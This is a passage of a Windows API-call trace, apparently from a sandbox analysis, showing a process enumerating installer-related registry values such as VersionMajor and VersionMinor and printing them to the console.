lpUsedDefaultChar=0x0) returned 13 [0148.645] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.645] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.645] __iob_func () returned 0x7fefd702a80 [0148.645] _fileno (_File=0x7fefd702ab0) returned 1 [0148.645] _errno () returned 0xc4bb0 [0148.646] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.646] _errno () returned 0xc4bb0 [0148.646] GetFileType (hFile=0x50) returned 0x1 [0148.646] lstrlenW (lpString=" ") returned 4 [0148.646] GetConsoleOutputCP () returned 0x1b5 [0148.646] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.646] GetConsoleOutputCP () returned 0x1b5 [0148.646] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.646] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.646] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.646] __iob_func () returned 0x7fefd702a80 [0148.646] _fileno (_File=0x7fefd702ab0) returned 1 [0148.646] _errno () returned 0xc4bb0 [0148.646] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.646] _errno () returned 0xc4bb0 [0148.646] GetFileType (hFile=0x50) returned 0x1 [0148.646] lstrlenW (lpString="REG_SZ") returned 6 [0148.646] GetConsoleOutputCP () returned 0x1b5 [0148.646] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.646] GetConsoleOutputCP () returned 0x1b5 [0148.647] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.647] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.647] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.647] __iob_func () returned 0x7fefd702a80 [0148.647] _fileno (_File=0x7fefd702ab0) returned 1 [0148.647] _errno () returned 0xc4bb0 [0148.647] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.647] _errno () returned 0xc4bb0 [0148.647] GetFileType (hFile=0x50) returned 0x1 [0148.647] lstrlenW (lpString=" ") returned 4 [0148.647] GetConsoleOutputCP () returned 0x1b5 [0148.647] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.647] GetConsoleOutputCP () returned 0x1b5 [0148.647] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.647] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.647] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.647] __iob_func () returned 0x7fefd702a80 [0148.647] _fileno (_File=0x7fefd702ab0) returned 1 [0148.647] _errno () returned 0xc4bb0 [0148.647] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.647] _errno () returned 0xc4bb0 [0148.647] GetFileType (hFile=0x50) returned 0x1 [0148.647] lstrlenW (lpString="") returned 0 [0148.647] __iob_func () returned 0x7fefd702a80 [0148.647] _fileno (_File=0x7fefd702ab0) returned 1 [0148.647] _errno () returned 0xc4bb0 [0148.647] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.648] _errno () returned 0xc4bb0 [0148.648] GetFileType (hFile=0x50) returned 0x1 [0148.648] lstrlenW (lpString="\n") returned 1 [0148.648] GetConsoleOutputCP () returned 0x1b5 [0148.648] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.648] GetConsoleOutputCP () returned 0x1b5 [0148.648] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.648] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.648] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.648] GetProcessHeap () returned 0x2e0000 [0148.648] GetProcessHeap () returned 0x2e0000 [0148.648] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.648] GetProcessHeap () returned 0x2e0000 [0148.648] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.648] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.648] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.648] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.648] GetProcessHeap () returned 0x2e0000 [0148.648] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.648] GetProcessHeap () returned 0x2e0000 [0148.648] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.648] GetProcessHeap () returned 0x2e0000 [0148.648] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.648] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0xe, pcbData=0x23f670*=0x4) returned 0x0 [0148.648] __iob_func () returned 0x7fefd702a80 [0148.648] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.649] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.649] _fileno (_File=0x7fefd702ab0) returned 1 [0148.649] _errno () returned 0xc4bb0 [0148.649] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.649] _errno () returned 0xc4bb0 [0148.649] GetFileType (hFile=0x50) returned 0x1 [0148.649] lstrlenW (lpString=" ") returned 4 [0148.649] GetConsoleOutputCP () returned 0x1b5 [0148.649] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.649] GetConsoleOutputCP () returned 0x1b5 [0148.649] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.649] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.649] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.649] lstrlenW (lpString="VersionMajor") returned 12 [0148.649] __iob_func () returned 0x7fefd702a80 [0148.649] _fileno (_File=0x7fefd702ab0) returned 1 [0148.649] _errno () returned 0xc4bb0 [0148.649] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.649] _errno () returned 0xc4bb0 [0148.649] GetFileType (hFile=0x50) returned 0x1 [0148.649] lstrlenW (lpString="VersionMajor") returned 12 [0148.649] GetConsoleOutputCP () returned 0x1b5 [0148.649] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.650] GetConsoleOutputCP () returned 0x1b5 [0148.650] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0148.650] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.650] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.650] __iob_func () returned 0x7fefd702a80 [0148.650] _fileno (_File=0x7fefd702ab0) returned 1 [0148.650] _errno () returned 0xc4bb0 [0148.650] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.650] _errno () returned 0xc4bb0 [0148.650] GetFileType (hFile=0x50) returned 0x1 [0148.650] lstrlenW (lpString=" ") returned 4 [0148.650] GetConsoleOutputCP () returned 0x1b5 [0148.650] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.650] GetConsoleOutputCP () returned 0x1b5 [0148.650] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.650] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.650] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.650] __iob_func () returned 0x7fefd702a80 [0148.650] _fileno (_File=0x7fefd702ab0) returned 1 [0148.650] _errno () returned 0xc4bb0 [0148.650] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.650] _errno () returned 0xc4bb0 [0148.650] GetFileType (hFile=0x50) returned 0x1 [0148.650] lstrlenW (lpString="REG_DWORD") returned 9 [0148.651] GetConsoleOutputCP () returned 0x1b5 [0148.651] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.651] GetConsoleOutputCP () returned 0x1b5 [0148.651] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.651] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.651] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.651] __iob_func () returned 0x7fefd702a80 [0148.651] _fileno (_File=0x7fefd702ab0) returned 1 [0148.651] _errno () returned 0xc4bb0 [0148.651] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.651] _errno () returned 0xc4bb0 [0148.651] GetFileType (hFile=0x50) returned 0x1 [0148.651] lstrlenW (lpString=" ") returned 4 [0148.651] GetConsoleOutputCP () returned 0x1b5 [0148.651] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.651] GetConsoleOutputCP () returned 0x1b5 [0148.651] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.651] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.651] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.651] __iob_func () returned 0x7fefd702a80 [0148.652] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.652] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0xe") returned 3 [0148.652] _fileno (_File=0x7fefd702ab0) returned 1 [0148.652] _errno () returned 0xc4bb0 [0148.652] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.652] _errno () returned 0xc4bb0 [0148.652] GetFileType (hFile=0x50) returned 0x1 [0148.652] lstrlenW (lpString="0xe") returned 3 [0148.652] GetConsoleOutputCP () returned 0x1b5 [0148.652] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.652] GetConsoleOutputCP () returned 0x1b5 [0148.652] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xe", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xe", lpUsedDefaultChar=0x0) returned 3 [0148.652] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.652] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.652] __iob_func () returned 0x7fefd702a80 [0148.652] _fileno (_File=0x7fefd702ab0) returned 1 [0148.652] _errno () returned 0xc4bb0 [0148.652] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.652] _errno () returned 0xc4bb0 [0148.652] GetFileType (hFile=0x50) returned 0x1 [0148.652] lstrlenW (lpString="\n") returned 1 [0148.652] GetConsoleOutputCP () returned 0x1b5 [0148.652] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.652] GetConsoleOutputCP () returned 0x1b5 [0148.653] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.653] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.653] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.653] GetProcessHeap () returned 0x2e0000 [0148.653] GetProcessHeap () returned 0x2e0000 [0148.653] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.653] GetProcessHeap () returned 0x2e0000 [0148.653] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.653] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.653] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.653] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.653] GetProcessHeap () returned 0x2e0000 [0148.653] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.653] GetProcessHeap () returned 0x2e0000 [0148.653] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.653] GetProcessHeap () returned 0x2e0000 [0148.653] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.653] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0xa, pcbData=0x23f670*=0x4) returned 0x0 [0148.653] __iob_func () returned 0x7fefd702a80 [0148.653] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.653] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.653] _fileno (_File=0x7fefd702ab0) returned 1 [0148.653] _errno () returned 0xc4bb0 [0148.653] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.653] _errno () returned 0xc4bb0 [0148.653] GetFileType (hFile=0x50) returned 0x1 [0148.653] lstrlenW (lpString=" ") returned 4 [0148.653] GetConsoleOutputCP () returned 0x1b5 [0148.654] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.654] GetConsoleOutputCP () returned 0x1b5 [0148.654] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.654] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.654] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.654] lstrlenW (lpString="VersionMinor") returned 12 [0148.654] __iob_func () returned 0x7fefd702a80 [0148.654] _fileno (_File=0x7fefd702ab0) returned 1 [0148.654] _errno () returned 0xc4bb0 [0148.654] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.654] _errno () returned 0xc4bb0 [0148.654] GetFileType (hFile=0x50) returned 0x1 [0148.654] lstrlenW (lpString="VersionMinor") returned 12 [0148.654] GetConsoleOutputCP () returned 0x1b5 [0148.654] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.654] GetConsoleOutputCP () returned 0x1b5 [0148.654] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0148.654] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.654] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.654] __iob_func () returned 0x7fefd702a80 [0148.654] _fileno (_File=0x7fefd702ab0) returned 1 [0148.655] _errno () returned 0xc4bb0 [0148.655] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.655] _errno () returned 0xc4bb0 [0148.655] GetFileType (hFile=0x50) returned 0x1 [0148.655] lstrlenW (lpString=" ") returned 4 [0148.655] GetConsoleOutputCP () returned 0x1b5 [0148.655] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.655] GetConsoleOutputCP () returned 0x1b5 [0148.655] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.655] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.655] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.655] __iob_func () returned 0x7fefd702a80 [0148.655] _fileno (_File=0x7fefd702ab0) returned 1 [0148.655] _errno () returned 0xc4bb0 [0148.655] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.655] _errno () returned 0xc4bb0 [0148.655] GetFileType (hFile=0x50) returned 0x1 [0148.655] lstrlenW (lpString="REG_DWORD") returned 9 [0148.655] GetConsoleOutputCP () returned 0x1b5 [0148.655] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.655] GetConsoleOutputCP () returned 0x1b5 [0148.655] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.656] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.656] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.656] __iob_func () returned 0x7fefd702a80 [0148.656] _fileno (_File=0x7fefd702ab0) returned 1 [0148.656] _errno () returned 0xc4bb0 [0148.656] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.656] _errno () returned 0xc4bb0 [0148.656] GetFileType (hFile=0x50) returned 0x1 [0148.656] lstrlenW (lpString=" ") returned 4 [0148.656] GetConsoleOutputCP () returned 0x1b5 [0148.656] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.656] GetConsoleOutputCP () returned 0x1b5 [0148.656] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.656] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.656] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.656] __iob_func () returned 0x7fefd702a80 [0148.656] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.656] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0xa") returned 3 [0148.656] _fileno (_File=0x7fefd702ab0) returned 1 [0148.656] _errno () returned 0xc4bb0 [0148.656] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.656] _errno () returned 0xc4bb0 [0148.656] GetFileType (hFile=0x50) returned 0x1 [0148.656] lstrlenW (lpString="0xa") returned 3 [0148.656] GetConsoleOutputCP () returned 0x1b5 [0148.657] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.657] GetConsoleOutputCP () returned 0x1b5 [0148.657] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xa", lpUsedDefaultChar=0x0) returned 3 [0148.657] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.657] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.657] __iob_func () returned 0x7fefd702a80 [0148.657] _fileno (_File=0x7fefd702ab0) returned 1 [0148.657] _errno () returned 0xc4bb0 [0148.657] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.657] _errno () returned 0xc4bb0 [0148.657] GetFileType (hFile=0x50) returned 0x1 [0148.657] lstrlenW (lpString="\n") returned 1 [0148.657] GetConsoleOutputCP () returned 0x1b5 [0148.657] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.657] GetConsoleOutputCP () returned 0x1b5 [0148.657] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.657] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.657] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.657] GetProcessHeap () returned 0x2e0000 [0148.657] GetProcessHeap () returned 0x2e0000 [0148.657] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.658] GetProcessHeap () returned 0x2e0000 [0148.658] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.658] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.658] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.658] 